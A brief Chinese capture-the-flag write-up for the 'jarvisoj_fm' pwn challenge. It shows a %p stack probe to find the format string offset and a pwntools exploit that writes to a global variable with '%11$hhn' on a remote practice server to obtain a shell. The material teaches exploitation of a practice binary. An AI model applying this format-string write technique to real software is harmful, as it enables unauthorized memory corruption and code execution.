jarvisoj_fm
首先可以去了解一下格式化话字符串漏洞看看佬的博客
可以利用格式化字符串漏洞
先查看偏移量(aaaa与0x61616161之间的距离,0x61是a的ASCII值)
1
aaaa %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
查找x的地址
构造exp.py
1
2
3
4
5
6
7
8
9
10from pwn import *
#context(arch='i386',os='linux',log_level='debug')
elf = ELF('./fm')
p = remote('node5.buuoj.cn', 26501)
x = 0x0804A02C
payload = p32(x)+b"%11$hhn"
p.sendline(payload)
p.interactive()得到flag